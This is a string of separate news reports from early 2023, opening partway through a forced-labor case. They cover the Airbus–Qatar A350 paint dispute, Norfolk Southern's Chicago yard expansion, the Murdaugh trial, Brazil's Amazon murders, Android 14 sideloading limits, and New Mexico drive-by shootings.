When the children expressed a need for their mother they were punished, the sentencing memo says.

Prosecutors said the woman lived under the constant threat that shed be separated from her children and was threatened with deportation if she didnt perform labor inside the home even though she had valid immigration status.

As a result of a seven-day trial in May, Aman and her two sons were all convicted of conspiracy to commit forced labor, according to prosecutors. Aman was also convicted of forced labor and document servitude while Rehan Chaudhri was also convicted of forced labor, a May release said.

Aman and Rehan Chaudhri must also pay the woman $250,000 in restitution as part of their sentencing, according to officials.

Midlothian is about 15 miles west of Richmond.

Manager told 13-year-old shed get killed if she refused to work at business, feds say

Trafficked nanny was paid $40 a month, forced to live in storage room, CA officials say

Stepdad waterboarded children he forced to bake and sell brownies in Louisiana, feds say
Surface damage seen on Qatar Airways' airbus A350 parked at the airline's aircraft maintenance hangar in Doha. REUTERS/Imad Creidi

Airbus has changed the copper foil used on its A350 aircraft, which protects from lightning strikes.

In 2021, Qatar Airways sued Airbus over chipped paint that exposes the copper mesh, citing a safety risk.

The two companies have been in a legal battle for months over the issue, which Airbus says is "cosmetic."

Airbus has redesigned a core component of its A350 aircraft.

The European planemaker confirmed to Insider on Monday that it is changing the metal coating used on its jets, replacing the expanded copper foil (ECF) with a perforated copper foil (PCF). The copper foil sits between the paint and the carbon fuselage to protect the aircraft from lightning strikes.

According to Airbus, the company started "progressively" using PCF on A350 aircraft "fuselage section by fuselage section," starting with deliveries in late 2022. But it noted the old copper foil is still being used as well.

The change is significant considering Airbus' ongoing battle with Qatar Airways over the old copper foil  a dispute worth $2 billion, per Reuters.

In 2021, the airline filed a lawsuit with the manufacturer over surface paint issues on the A350. According to Qatar, the cracked paint exposes the copper mesh and poses a safety threat, resulting in the grounding of over two dozen A350 jets.

An undated image shows what appears to be paint peeling, cracking and exposed expanded copper foil (ECF) on the fuselage of a Qatar Airways Airbus A350 aircraft. Reuters

Airbus has maintained the issue is simply "cosmetic," and other A350 operators, like Delta Air Lines and Etihad Airways, have noted damage but do not view it as a safety concern. Nor have any of the carriers grounded their widebodies over the problem.

However, Airbus told Insider that the ECF replacement "is not connected to the Qatar litigation," but the decision was made in 2019 to reduce weight as the new copper foil is lighter.

"This enhancement is part of the usual continuous aircraft development which is entirely standard in the industry," a company spokesperson said.

The planemaker also confirmed that the new PCF will "boost the durability of the paint system even though it wasn't developed for this."

Story continues

Nevertheless, Qatar questioned the redesign in court on Thursday, asking for an analysis of how a lightning strike could impact the safety of flight.

Specifically, the airline requested modeling data of the A350, though, according to Reuters, French authorities said the sharing of that information could pose a security threat because the designs are used by European governments.

While Qatar accused Airbus of skirting data sharing, lawyers on both sides have provisionally arranged to provide the data. A corporate trial will take place in June if a settlement cannot be reached.

Qatar declined to comment on the matter when reached by Insider.

Over the past year, the dispute between Airbus and Qatar has become more serious. In January 2022, the planemaker made a rare move, canceling the airline's order for 50 Airbus A321 jets, and later canceled all of Qatar's A350 orders in September.

Qatar CEO Akbar Al Baker said in December 2021 that the problem has "destroyed" the airline's relationship with Airbus.

Though, the manufacturer stood by the A350 at the time, saying, "the attempt by this customer to misrepresent this specific topic as an airworthiness issue represents a threat to the international protocols on safety matters."

However, Airbus told Insider in September that it is open to a settlement, and company CEO Guillaume Faury told Reuters in June that there was "progress in the sense that we are communicating."

Read the original article on Business Insider
Ald. Jeanette Taylor, 20th, near her Englewood office, in 2021. She recently blocked a City Council vote on the Norfolk Southern intermodal freight yard $150 million expansion. (E. Jason Wambsgans / Chicago Tribune)

Alan Shaw came to Chicago last week casting himself as a reformer.

At a Midwest shippers meeting, the Norfolk Southern chief executive promised to deliver resilience and growth, and to step back from the Wall Street-inspired job cuts that helped hogtie the nations railroads during the COVID-19 pandemic.

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But Shaw had to share the spotlight with another nagging problem: the railroads stalled campaign to double the size of what is already its biggest intermodal freight yard at 47th Street and the Dan Ryan Expressway.

An hour before he spoke Wednesday, Ald. Jeanette Taylor, 20th, blocked a City Council vote on the $150 million expansion yet again.

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A day later, one of the countrys most influential federal railroad regulators called out Norfolk Southern and its peers for failing to grow during the last 15 years, and thereby, allowing pollution-spewing trucks to carry more freight.

[ Truck and rail backups clogged roads, creating more pollution and raising health risks for Chicagoans near freight corridors ]

The turbulent week stands as an apt metaphor for the state of the nations railroads, and the role of Chicago and its suburbs as the biggest freight hub. Theyre key battlegrounds as the U.S. struggles to decide what sustainable growth means, and whether its possible.

This has been a theme forever and ever, said Tracy Robinson, chief executive of Canadian National Railway. The railroads come into an area, and the community builds up around them, and then we have trouble living together.

Robinson spoke at the shippers conference in the west suburb of Lombard, where she described the Chicago area as the center of railroading.

Norfolk Southern portrays the expansion of its 170-year-old Englewood yard as a badly needed infusion of jobs and investment in inner-city Chicago.

But by demolishing hundreds of homes, and subjecting people who remain to a rising tide of congestion and truck pollution, the railroad sparked protests, lawsuits and bruised feelings.

Taylor said she expects an agreement will be reached with Norfolk Southern and the vote to proceed when the City Council meets Feb. 1, just weeks before Chicago elects a new mayor and City Council.

This is a $59 billion company, Taylor said, referring to the value of the railroads stock. They displaced 400 families. The community has a right to say they want access to those jobs, and to be able to get those contracts, and Im gonna make sure that happens.

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[ Hundreds of Englewood homes were razed for a railroad expansion. Those who remain on Chicagos South Side want clean air, green space and jobs. ]

Norfolk Southern began buying property for the expansion soon after the 2008 financial collapse.

The 15-year saga raises ongoing questions about whether the railroads will be able to expand in communities where they operate now, and know how to, even if they break with the cost-cutting ethos on Wall Street.

For Marty Oberman, chairman of the federal Surface Transportation Board, the key to unlocking Chicago congestion is money. He said the railroads  at a time of soaring profits  just dont spend enough.

A former Chicago alderman and Metra chairman, Oberman said the city took an important step in 2003 by organizing a public-private partnership called CREATE (Chicago Region Environmental and Transportation Efficiency Program) to address congestion.

The group is spending $380 million for a bridge near 75th Street and Damen Avenue in West Englewood so dozens of daily Metra and freight trains, along with cars, trucks and pedestrians, dont have to take turns before passing through.

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After two decades, CREATE has raised $1.8 billion of the $5 billion it needs to complete 70 targeted projects. The railroads contributed just a quarter of the amount raised, Oberman said. The rest came from federal, state and city funds.

As a taxpayer, I find this frustrating, Oberman said in an interview. These projects benefit the public but they also definitely benefit the railroads. So they can and should be contributing a larger share.

Alan Shaw, president & CEO of Norfolk Southern, at the Midwest Association of Rail Shippers on Jan. 18, 2023. (E. Jason Wambsgans / Chicago Tribune)

Shaws newfound reticence about cutting jobs may sound like common sense to many people. But when he presented this idea to investors last month, Trains magazine columnist Bill Stephens wrote that he deserved a standing ovation.

Thats because, for the last decade, the strategic thinking of U.S. railroads has been dominated by a concept called precision scheduled railroading.

This approach means driving operating costs as a percentage of revenue as low as possible.

The seven big railroads in the U.S. cut 29,000 jobs, or about a fifth of their workforce, between January 2016 and February of 2020, according to a speech by Oberman in November.

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This was just before COVID-19 created chaos in global supply chains. The railroads kept cutting even then. By the end of 2021, they eliminated another 13,271 jobs, Oberman said.

This second tranche of cuts saved about $4.8 billion in labor costs. But as they were occurring, during the height of the pandemic, the railroads spent nearly $60 billion on share buybacks and dividends, Oberman said.

In the meantime, he said, their service was falling off a cliff.

Oberman used one main measure of the service crisis in his speech. In what are known as embargoes, railroads can decide  often at the last minute  to withhold service to specific customers for a period of days or weeks.

These are mostly aimed at small- and mid-size shippers, not at industry giants such as J.B. Hunt and Hub Group, which in turn cater to big retailers such as Walmart.

The railroads announced 140 embargoes in 2017, Oberman said. In the first nine months of 2022, they declared 1,115.

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The situation got so bad that in June, Oberman and the transportation board ordered Union Pacific to run grain trains to one of the West Coasts biggest poultry producers. Foster Farms, based in Livingston, California, was on the verge of euthanizing millions of starving chickens.

It wasnt just chickens that suffered, Oberman said. The U.S. may have lost out on hundreds of billions of dollars in economic activity, he said, adding that its hard to be precise.

And because container shipments over 500 miles were growing 20% faster on trucks than on railroads, many additional tons of carbon dioxide were released into the atmosphere, Oberman said.

Oberman said hes contemplating tighter regulatory controls on embargoes, especially when they result from excessive job cuts.

But he also acknowledged a recent evolution on Wall Street, one that provides more support for long-term investments in railroad labor and equipment.

He said hes encouraged by Shaws promise to not be so quick to lay off workers when sales slump.

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He praised chief executives at BNSF, CSX and Canadian National for making similar statements. He hasnt heard the same, he said, from Union Pacific.

In his December speech, Shaw reassured Wall Street that Norfolk Southern has plenty of thrift left in its corporate DNA.

He also tried to convince investors that job cuts can be penny-wise and pound-foolish.

Shaw offered this example: The railroad could save about $35 million a year by cutting 5% of its engineers and conductors when sales slump. But lately, he said, only 45% of furloughed workers return when the economy improves.

At that point, Shaw said, Norfolk Southern would have to spend $10 million to recruit and train replacements. The railroad could also incur $760 million a year in elevated operating costs and missed revenue opportunities, he said. For us, resilience is an investment in long-term shareholder value, Shaw said.

But being rooted in dense population centers on the East Coast and in Chicago means its hard for the railroad to enlarge its physical footprint.

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Even though Norfolk Southern started buying property for the 47th Street expansion 15 years ago, the railroad didnt remove the final homeowner  through a court-sanctioned eviction  until 2021.

And then Taylor, the areas alderman, blocked a City Council vote on the expansion for six months starting last year.

Taylor said its unacceptable that, according to Norfolk Southern, only five employees hired since 2014 from five South Side ZIP codes remained actively employed in November.

This doesnt include workers hired before then, said Connor Spielmaker, a Norfolk Southern spokesman. It doesnt include contractors or truck drivers.

In some rail yards, contractors outnumber direct railroad employees by an estimated 3-to-1 ratio, said Jason Hilsenbeck, president of LoadMatch.com, a Naperville company that helps drivers find freight to haul.

Hundreds of truck drivers also enter big yards like 47th Street each day, and in Chicago, many of these are Black and brown residents of nearby communities, he said.

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Spielmaker told the Tribune in a statement that Norfolk Southern has publicly, through multiple public meetings in addition to comments published in your newspaper, affirmed our commitment to hiring diverse contractors for construction of this project in addition to the additional jobs it will bring upon completion.

The expansion will generate $85 million in contracting opportunities, Spielmaker said. But the railroad cant open the bidding, he added, until the city approves the transfer of the streets and alleys needed for the expansion.

[ While Norfolk Southern touts benefits expansion will bring to Englewood; residents and contractors reject railroad promises ]

The Norfolk Southern 47th Street intermodal yard on Jan. 6, 2023. (E. Jason Wambsgans / Chicago Tribune)

Land cleared for Norfolk Southern expansion south of 59th Street in the Englewood neighborhood on Dec. 21, 2022. (E. Jason Wambsgans / Chicago Tribune)

Mayor Lori Lightfoot supports the expansion, saying that after decades of industrial job loss, the city can help its remaining businesses by providing land at reduced cost.

The Chicago region already faces the worst traffic congestion in the country, according to Inrix, a Seattle firm that specializes in analyzing traffic data.

Its into this congestion that the seven big railroads in the U.S. are all expanding their Chicago-area intermodal yards.

Union Pacific is doubling the size of its terminal in Joliet, and in response, the citys warehouse-friendly City Council may impose a container tax, according to a Herald-News report.

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In the west suburbs, Elgin and other cities are fighting a proposed merger between Kansas City Southern and Canadian Pacific. The merger will send a dozen freight trains through Elgin each day, up from the current three, and double their lengths to 12,000 feet, according to Mayor Dave Kaptain. This is in addition to 40 passenger trains a day.

Because of the increase, Elgin is studying how to eliminate street-level intersections that cars, trucks and trains must share.

Afternoon Briefing Daily Chicago Tribune editors' top story picks, delivered to your inbox each afternoon. By submitting your email to receive this newsletter, you agree to our Subscriber Terms & Conditions and Privacy Policy >

One option is a mile-and-a-half railroad bridge passing through the center of town and costing $1 billion. Thats far more, he said, than the $10 million in compensation the railroads have offered Elgin and seven nearby communities.

I had a politician tell me the merger will be good for the economy, Kaptain said. But the railroads wont be stopping here even to buy a doughnut.

Anthony Hatch, an independent Wall Street analyst, said investors were focused mainly on job cuts five years ago. Today, he said, theyre more inclined to support Shaw and other executives promoting growth.

As for Chicago, he said residents need to accept the pain as well as the benefits of living in the nations freight hub. He said these include jobs and the fact that, when crossing open farmland, trains burn about a third as much fuel per ton of freight as trucks.

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Intermodal trains are great for the country, for the environment, and for our tax base, Hatch said. But the node, the hub, will see more traffic.

If Chicago is not congested, it means theres a problem in the economy. It means nobody is making anything anywhere.

Chicago Tribunes Alice Yin contributed.
WALTERBORO, S.C. (AP)  As prosecutors and defense lawyers prepare to choose a jury for South Carolina attorney Alex Murdaugh's murder trial, a judge decided to wait until the issues come up at trial to decide whether jurors hear evidence about blood spatter or other crimes Murdaugh is charged with.

Prosecutors want to present voluminous evidence of Murdaugh's bad behavior and the numerous crimes he is charged with to show he killed his wife and son to buy time to prevent his other wrongdoings from being discovered. Defense attorneys don't want the judge to admit the evidence, contending prosecutors are trying to smear Murdaugh to bolster a weak case.

Circuit Judge Clifton Newman told the attorneys Tuesday that he will decide on a case-by-case basis outside the jury's presence.

Also Tuesday, Murdaugh's lawyers agreed to wait and see if prosecutors decide to bring to the stand an expert who wrote a report saying blood from his slain younger son spattered on Murdaughs shirt. Defense lawyers said the shirt was destroyed before they could test it and there is evidence the expert examining the shirt changed his conclusions under pressure from state agents.

The judge denied a request Tuesday by Murdaugh's lawyers to prevent an expert from testifying that rifle cartridges found near his wife's body have marks indicating they may have been fired from the same gun that fired other cartridges found at a shooting range on the property. Prosecutors said a similar model gun remains missing from the Murdaugh home.

The defense said recent scientific advances show ballistics experts can't say with 100% certainty that there are unique markings linking a gun to a cartridge. Prosecutors said this kind of evidence is allowed in courtrooms all the time. Newman said defense lawyers can question the expert during cross examination.

Prosecutor Creighton Waters asked for a ruing before the jury was seated, likely because he wants to mention the evidence in his opening statement.

Story continues

Jury selection continued Tuesday as the court finished whittling down the 900 people sent summons to a pool of more than 120 potential jurors. Eighty of them will be brought to court Wednesday morning to select the final panel of 12, plus six alternates.

Murdaugh, 54, faces 30 years to life in prison if convicted of murder in the deaths of Maggie, 52, and their son, Paul, 22. Murdaugh told investigators that he found their bodies outside their Colleton County home on June 7, 2021. He said hed been gone for about an hour to visit his ailing father and mother.

Murdaugh also faces about 100 charges related to other crimes, including money laundering, stealing millions from clients, tax evasion and trying to get a man to fatally shoot him so his surviving son could collect a $10 million life insurance policy. He was being held in jail without bail on those counts before he was charged with murder.

Usually, the prosecution's key evidence is known well beforehand in prominent South Carolina trials, whether it's Susan Smith's confession that she rolled her car into a Union County lake and drowned her children or surveillance footage showing Dylann Roof with his distinctive haircut enter and exit a Charleston African American church where he killed nine members in a racist attack.

But little is known about the states case against Murdaugh outside of the disputed blood spatter evidence, subpoenas of Google and Snapchat and mentions of videos taken at the Murdaughs' home where the killings took place.

Court papers filed by the defense this week included a crime scene report detailing that Maggie Murdaugh was shot at least four times and appeared to be moving when she was wounded and Paul Mudaugh was shot twice, once with buckshot and once with smaller birdshot. Both were killed by shots to the head.

When asked during a preliminary hearing about what evidence they would produce, prosecutors presented a detailed timeline of how Murdaugh's wife and son were killed the same day a paralegal at a law firm reported he might be stealing money.

They contend Murdaugh shot the two to distract attention from his financial jam and that evidence of other crimes on which he is awaiting trial is relevant to illustrate how a father and husband could commit such a horrible act.

The theory is he knew the jig was up so he went home, blew the head off his son and butchered his wife. There is not one shred of evidence there was any problem between any of them, defense attorney Dick Harpootlian said.

State agents and prosecutors took 13 months to seek murder indictments against Murdaugh. The defense motion was the first indication authorities might have one of the two guns used. No evidence has made public about a possible confession or an eyewitness account.

In the blood spatter evidence, Murdaugh's lawyers said emails turned over to them by prosecutors showed an expert, who analyzed the shirt Murdaugh was wearing when he said he found the bodies, initially determined there were no blood spatter stains, only spots that could have happened when Murdaugh checked to see if his son and wife were still alive.

The expert changed his mind several weeks later after state agents flew to his home in Oklahoma, according to the emails cited by Murdaugh's lawyers. Testing on the shirt used chemicals that made it impossible for any defense expert to do their own testing or even check the original results, the defense said.

Murdaugh's trial is expected to last up to three weeks, with prosecutors and defense attorneys providing a list of 255 potential witnesses to the judge.
Police in Brazil have strong evidence that an alleged drug trafficker ordered the murders of a British journalist and an Indigenous activist in the Amazon last June, a police chief said on Monday.

Police believe Ruben da Silva Villar, who uses the nickname "Colombia" and is in custody, ordered the murders of the two men, Eduardo Fontes, chief of federal police in the Amazonas region, said at a news conference.

Fontes said the case over the murders of U.K. journalist Dom Phillips, 57, and Bruno Pereira, a 41-year-old Indigenous activist, was "90 percent" wrapped up and "practically closed."

"The investigations are in the final phase and we have strong evidence that point to 'Colombia' as the mastermind of these crimes," Fontes said.

A sign that reads in Portuguese

Da Silva Villar has been in police custody since December, but his identity was difficult to pin down as he carried three sets of identity papers, two from Peru and one from Brazil, police said.

Authorities finally determined that he was born in Puerto Narino, Colombia, a town in an Amazon region near where the borders of Colombia, Brazil and Peru meet.

Fisherman Amarildo da Costa de Oliveira, nicknamed Pelado, confessed that he shot Phillips and Pereira and has been under arrest since soon after the killings in early June.

Phillips and Pereira were shot dead June 5 in Valle de Javari, a remote area where illegal fishing, mining and logging are rife. Both men disappeared "after receiving threats," according to an association that worked with the Indigenous expert.

Fontes said Villar had provided weapons and boats to three men accused of the actual murders, and later paid for the lawyer for one of them.

Phillips, a freelance journalist whose work had appeared in The Guardian and The New York Times, was traveling with Pereira doing research for a book on the Amazon.

British journalist Dom Phillips, right, and a Yanomami Indigenous man walk in Maloca Papiu village, Roraima state, Brazil, Nov. 2019. / Credit: Joao Laet / AP

Villar was detained in July, and freed in October on bond. But courts ordered his imprisonment again after he failed to meet conditions of his conditional freedom.

Story continues

In a statement, UNIVAJA, the local Indigenous association that employed Pereira, said it believed there were other significant planners behind the killings who have not been arrested.

Journalists working for regional media outlets in the Amazon have been slain in recent years, though there had been no such cases among journalists from national media nor foreign media. However, there have been several reports of threats, and the press has limited access to several areas dominated by criminal activity, including illegal mining, landgrabbing and drug trafficking.

In September 2019, an employee of the Indigenous affairs agency was shot dead in Tabatinga, the largest city in the region. The crime was never solved.

In 2017, British citizen Emma Kelty was killed while attempting to kayak the length of the Amazon. The 43-year-old Londoner vanished after she posted comments on social media sharing her fear of being robbed or murdered in a remote jungle area of northern Brazil that is used by drug traffickers and pirates.

That same year, Brazilian prosecutors investigated reports that gold prospectors may have killed members of a so-called uncontacted tribe in the Amazon.

The Associated Press contributed to this report.

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Almost half of registered N.Y. Republicans believe that embattled Rep. George Santos (R-N.Y.) should resign from his position in the House chamber, according to a new poll. The first-term lawmaker is facing various investigations into his deceit and inconsistencies in his campaign fundraising.

The Siena College Research Institute poll, published on Monday, found that 49 percent of Republican respondents said that Santos should resign from his position, while 26 percent said the first-term lawmaker shouldnt step down .

According to the poll, 64 percent of registered Democrats surveyed said they believe Santos should resign from the House, while 17 percent said they disagree with the sentiment.

Fifty-nine percent of registered Independent respondents said they think Santos should step down, while 10 percent disagreed, according to the survey.

When asked their opinion of Santos, 56 percent of respondents said they have an unfavorable opinion of him, while 16 percent said they have a favorable opinion of the lawmaker.

Along party lines, 20 percent of Democrats, 15 percent of Republicans and 9 percent of Independents surveyed share a favorable opinion of Santos.

The poll comes as Santos, who defeated Democrat Robert Zimmerman in New Yorks 3rd Congressional District in the midterm elections, is facing investigations from federal authorities over potential campaign finance violations and an investigation by the Nassau County district attorney over lies he told during his campaign.

Santoss falsehoods range from inventing his professional resume as a Wall Street financier, claiming to be Jewish and to have grandparents who fled the Holocaust, claiming to have played volleyball for a university he did not attend, and stating that he ran a charity that saved animals.

Despite calls for his resignation from some New York lawmakers, Santos has remained defiant. The House GOP leadership last week assigned the 34-year-old lawmaker to two committees.

The Siena College Research Institute poll was conducted from Jan. 15-19 with a total of 821 state respondents participating in the survey. The polls margin of error was 4.3 percentage points.

For the latest news, weather, sports, and streaming video, head to The Hill.
(Bloomberg) -- An Amazon.com Inc. warehouse worker who helped lead a hotly contested union campaign in Bessemer, Alabama, said he was abruptly terminated without explanation.

Most Read from Bloomberg

Darryl Richardson, who advocated for workers to join the Retail, Wholesale and Department Store Union, posted his termination notice from Amazon on Twitter Sunday.

This is BS, he said on Twitter. Didnt give me no reason why.

Richardson referred questions about his termination to the union, which didnt immediately comment.

Amazon said Richardsons termination wasnt related to his union organizing efforts.

Like any employer, we ask our employees to meet certain minimum expectations and take appropriate action when theyre unable to do that, spokeswoman Mary Kate Paradis said.

Amazons Bessemer employees in March voted 993 to 875 against joining the union during an election that remains in dispute because more than 400 contested ballots havent been counted and could influence the final result. The union lost a previous election there in 2021 by a two-to-one margin, but the National Labor Relations Board called a second vote after ruling that Amazon unlawfully interfered with the first election.

The labor boards general counsel has repeatedly accused Amazon of illegally firing activists. In November, a federal judge in New York ordered Amazon to cease and desist from retaliating against employees for workplace activism. The company has denied wrongdoing.

Amazon warehouse workers in Staten Island, New York, voted last year to join the fledgling Amazon Labor Union, a major defeat for the Seattle-based company. The leader of that union, Chris Smalls, alleges Amazon fired him for his workplace advocacy, back in March 2020. Amazon maintains Smalls was terminated for violating safety rules during the Covid-19 outbreak.

Story continues

(Updated with Amazon comment in fifth paragraph)

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Danielle Colby and Mike Wolfe of the television show "American Pickers."

"American Pickers," a television show on The History Channel starring brothers Mike and Robbie Wolfe, as well as Danielle Colby, will have film crews in Virginia this March.

According to a spokesperson for the documentary series that explores the world of antique picking, there are no specific locations in Virginia planned as of now. This isn't the show's first trip to Virginia. Crews were in the Old Dominion in 2017, 2018 and 2021. The show even filmed in Staunton in 2017 when Mike Wolfe and former cast member Frank Fritz stopped in the area. That year they checked out the toy collection of Al Morkunas at his home on Lewis Street. Morkunas died from cancer that same year and the show dedicated an episode to him.

The television show, which airs new episodes on Mondays at 9 p.m., follows skilled pickers in the business, as they hunt for antiques throughout the United States.

"They are always excited to find sizeable, unique collections and learn the interesting stories behind them," a press release said. "As they hit the back roads from coast to coast, the Pickers are on a mission to recycle and rescue forgotten relics. Along the way, they want to meet characters with remarkable and exceptional items."

The show is looking for leads in Virginia, according to the release.

"If you or someone you know has a large, private collection or accumulation of antiques that the pickers can spend the better part of the day looking through we would love to hear from you," the release said.

The pickers on the show don't search in stores, flea markets, malls, auction businesses, museums, or anything open to the public.

If you think you have something the show may be interested in, contact them by email at americanpickers@cineflix.com, by telephone at (646) 493-2184 or on Facebook @GotAPick. The release said to send your name, phone number, location, and description of the collection with photos.

The release said that "American Pickers" continues to take the pandemic very seriously and will be following all guidelines and protocols for safe filming outlined by the state and CDC.

Story continues

"They hope to give historically significant objects a new lease on life while learning a thing or two about Americas past along the way," the release said. "The pickers have seen a lot of rusty gold over the years and are always looking to discover something theyve never seen before."

More:Suspect already serving 28 years pleads guilty to raping girl in Augusta County

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 Patrick Hite is The News Leader's education reporter. Story ideas and tips always welcome. Contact Patrick (he/him/his) at phite@newsleader.com and follow him on Twitter @Patrick_Hite. Subscribe to us at newsleader.com.

This article originally appeared on Staunton News Leader: 'American Pickers' returning to Virginia and is looking for antiques
The next version of Android could bar you from installing ancient apps in some circumstances. 9to5Google has spotted a code change indicating that Android 14 will block users from sideloading apps (that is, installing them outside of the Play Store) that don't target a minimum version of the operating system. It will stop the installation of particularly old software at first, but Google expects to "progressively" raise the bar to require at least Android 6.0 Marshmallow.

The move is meant to boost security and privacy. Malware writers can't just target old versions of Android to escape security measures in newer releases, Google says. Google already requires that apps in the Play Store target at least Android 12. This update denies attempts to install vintage apps through the web or third-party stores.

This won't completely thwart you if there's a classic app you're determined to run. It's up to device manufacturers to enable the cutoff, and there will still be a way to install apps through a command shell. The new policy is meant to stop people from unwittingly installing malware. If you sideload an old app on an Android 14 phone with this measure switched on, you likely know exactly what you're doing.

Still, it's notable that Google is limiting sideloading at all. For some, it's a reason to buy an Android phone instead of an iPhone  you're free to install apps that aren't available in the official store. However, it's not surprising that Google is clamping down. Android malware writers frequently (though not always) rely on sideloading precisely because there are fewer restrictions than in the Play Store. A block on old apps won't put an end to malware, but it could tighten the platform's overall security.
Ivan Lukerya

In a Facebook post on Jan. 24, he said his resignation has nothing to do with the dismissal of his colleague, Vasyl Lozynskyi.

On Jan. 24, Ukraines Cabinet of Ministers dismissed Vasyl Lozynskyi, Deputy Minister of Development of Communities, Territories and Infrastructure of Ukraine, from his post after he had been detained on suspicion of accepting a $400,000 bribe. Lozynskyi is also suspected of being a member of an organized criminal group.

Read also: Ukrainian deputy prosecutor general fired after scandal over Spain getaway

I thank my colleagues and partners in the government, parliament, and the Office of the President of Ukraine, Lukerya said.

We thank every head of regional administrations and city mayors. I made the decision (to resign) at the beginning of the year, but, unfortunately, due to political and bureaucratic circumstances, the legal formalization coincided with this week. Unfortunately.

Read the original article on The New Voice of Ukraine
Jan. 23Initial feelers are out for a potential second Dutch Bros location in Santa Fe.

Santa Fe urban planning firm NM Land Solutions, formerly James W. Siebert & Associates, on Dec. 8 had a pre-development meeting with the city Land Use Department regarding a potential Dutch Bros drive-thru restaurant/coffeehouse at 5407 Beckner Road.

Pre-development meetings come before Early Neighborhood Notification meetings or submitting any plans to the city.

NM Land Solutions did not respond to phone messages from The New Mexican, and Grants Pass, Ore.-based Dutch Bros could not confirm a second Santa Fe location.

"I don't have any information about a location on Beckner Road so if they are exploring that address it would be extremely early," Dutch Bros spokeswoman Rilynn Davis said in an email.

Dutch Bros recently started construction on its first Santa Fe outlet at the site of the former Cheeks strip club at 2841 Cerrillos Road.
Jan. 23JOHNSTOWN, Pa.  One man is dead after being shot multiple times in the Moxham section of Johnstown on Monday and a suspect fled the scene, authorities said.

Johnstown police responded to a shots fired incident on Park Avenue around 2 p.m.

The incident took place in the 600 block of Park Avenue, near St. Patrick's Roman Catholic Church.

A suspect was reported running toward Coleman Avenue. He is described as a light-skinned Black male, possibly 5 feet 8 inches tall to 5 feet 10 inches tall, and wearing a black shirt, police said.

Cambria County Coroner Jeffrey Lees arrived at the scene at 2:30 p.m.

Greater Johnstown and Ferndale school districts and Bishop McCort Catholic High School were under shelter-in-place precautions because of the police activity.

Both districts and Bishop McCort announced that they would have late dismissals.

Check back for more information on this developing story.
Solomon Pena was booked into the Metropolitan Detention Center early Tuesday morning. Police say he orchestrated a string of drive-by shootings at local politicians homes after losing the election for the state House of Representatives.

This story was originally published by Searchlight New Mexico.

Before he was accused on Monday of orchestrating a series of drive-by shootings at elected officials homes, Solomon Pena mounted a modest campaign against a longtime incumbent in a solid blue Albuquerque district. He failed to make a strong showing at the ballot box, but that didnt stop him from successfully courting one of New Mexicos most influential conservative voices.

On Sept. 28, Jalapeno Corporation  the company led by 80-year-old Harvey Yates, a prominent New Mexico oilman and former chair of the states Republican Party  donated $5,000 to Penas fledgling campaign.

Yates said he met Pena about two years ago at a local Republican Party meeting. At the time, Pena struck him as a respectful, polite young man, Yates told Searchlight New Mexico.

When Pena filed to run last year for the District 14 seat in the state House of Representatives, Yates said he was willing to give him a chance, even after Penas criminal record came to light.

I, at that time, had become aware that he had a criminal history but that he was trying to reform himself, said Yates, when he was reached by phone on Wednesday. I believe in redemption and helping a guy if hes really trying to do that. So I donated to him, or the company donated to him. It also donated the same amount to probably 20 other candidates.

Campaign finance records show that Pena received financial support from numerous New Mexico Republicans as well as from one of the men now accused of helping him carry out the shootings.

Yates said he was extremely saddened when he heard that Albuquerque police had accused Pena of masterminding a string of drive-by shootings in December and January.

After soundly losing the November election, police say he hired four people to shoot up local politicians homes. One state senator told police that a bullet whisked through a bedroom in her southwest Albuquerque home, flying so low that it blew dust from the wall onto her sleeping 10-year-old daughters face.

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Penas biggest funders

Penas interest in politics was seemingly kindled by the Trump presidency, according to his own social media posts, in which he referred to himself as the MAGA king. But betting on the 39-year-old candidate was from the start a long shot. His opponent, Miguel Garcia, had already filled the seat for 26 years.

The Democrat incumbent also asked a judge to bar Pena from running, citing his 2008 conviction in a string of burglaries and the fact that he spent several years in prison. The judge denied the request, and Pena managed to raise nearly $24,000, according to the New Mexico Secretary of States Office, compared to Garcias nearly $41,000.

Penas filings were fairly sparse, but they shine a light on how his failed campaign  he only garnered 26 percent of the vote  made it as far as it did.

Once he won the uncontested primary with 384 votes, support started trickling in: $104 from a Sandoval County official, $150 from a former state lawmaker and $5,000 from Yates company.

Among his largest contributors were Jose Louise Trujillo, who donated $5,155  $155 more than Yates  and Melanie Griego, who gave $4,000. Trujillo now stands accused of being one of the four drive-by shooters. Griego is Trujillos mother, several family members confirmed to Searchlight.

Trujillo, 21, and his father, Demetrio Trujillo, are both accused  along with two unnamed brothers  of conspiring with Pena to carry out the shootings.

The investigation

The first shooting occurred more than a month ago when Bernalillo County Commission Vice Chair Adriann Barboa called police to report gunshots at her house. The most recent, on the night of Jan. 3, occurred at the home of State Sen. Linda Lopez (D-Albuquerque). One bullet was fired so low, she told police, that sheetrock dust was blown onto the face of her sleeping 10-year-old daughter.

Less than an hour later, a Bernalillo County Sheriffs Office deputy initiated a traffic stop just five miles from Lopezs house. Deputy J Skroch, as he is identified in court documents, had pulled over Jose Trujillo, who was driving a Nissan Maxima registered to Pena. Inside the car, police reported finding more than 800 fentanyl pills, a wad of cash, an assault rifle and a Glock handgun equipped with a drum magazine. Drum magazines significantly expand the amount of ammunition a handgun holds. Trujillo now faces federal charges stemming from that arrest.

As police worked to connect the incidents, they obtained a search warrant for Demetrio Trujillos cell phone. According to police, it was filled with text messages from Pena listing the exact addresses for each of the four elected officials whose homes were attacked. They said it also contained photos: one of a Glock handgun with a drum magazine, one of Jose Trujillo pointing a gun into the air and biting into a Whataburger, and another of Pena and Trujillo posing together for a selfie.

In court documents, police say a confidential witness with personal and intimate knowledge of the crimes informed them that Pena had offered Demetrio and two unnamed brothers a total of $500 for the first shooting. The money was divided among the three, the witness told police.

The witness also told police that Pena participated in the shooting at Lopezs home, but his gun jammed.

Pena was booked into the Metropolitan Detention Center outside Albuquerque early Tuesday, Jan. 17, and faces 14 felony charges and one misdemeanor charge, including shooting at a dwelling or occupied building and shooting at or from a motor vehicle.

Joshua Bowling is a reporter for Searchlight New Mexico. Searchlight New Mexico is a nonpartisan, nonprofit news organization dedicated to investigative reporting in New Mexico.

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This article originally appeared on Las Cruces Sun-News: Who backed Solomon Penas campaign?
Gov. J.B. Pritzker arrives to take the oath of office on Jan. 9, 2023, during the inauguration ceremony at the Bank of Springfield Center in Springfield. (Brian Cassella / Chicago Tribune)

Gov. J.B. Pritzker says he intends to sign a bill, passed by Illinois Democratic-controlled General Assembly, that would require employers to offer an hour of paid leave for every 40 hours worked, allowing employees to accrue and bank at least five days a year. The measure would take effect Jan. 1.

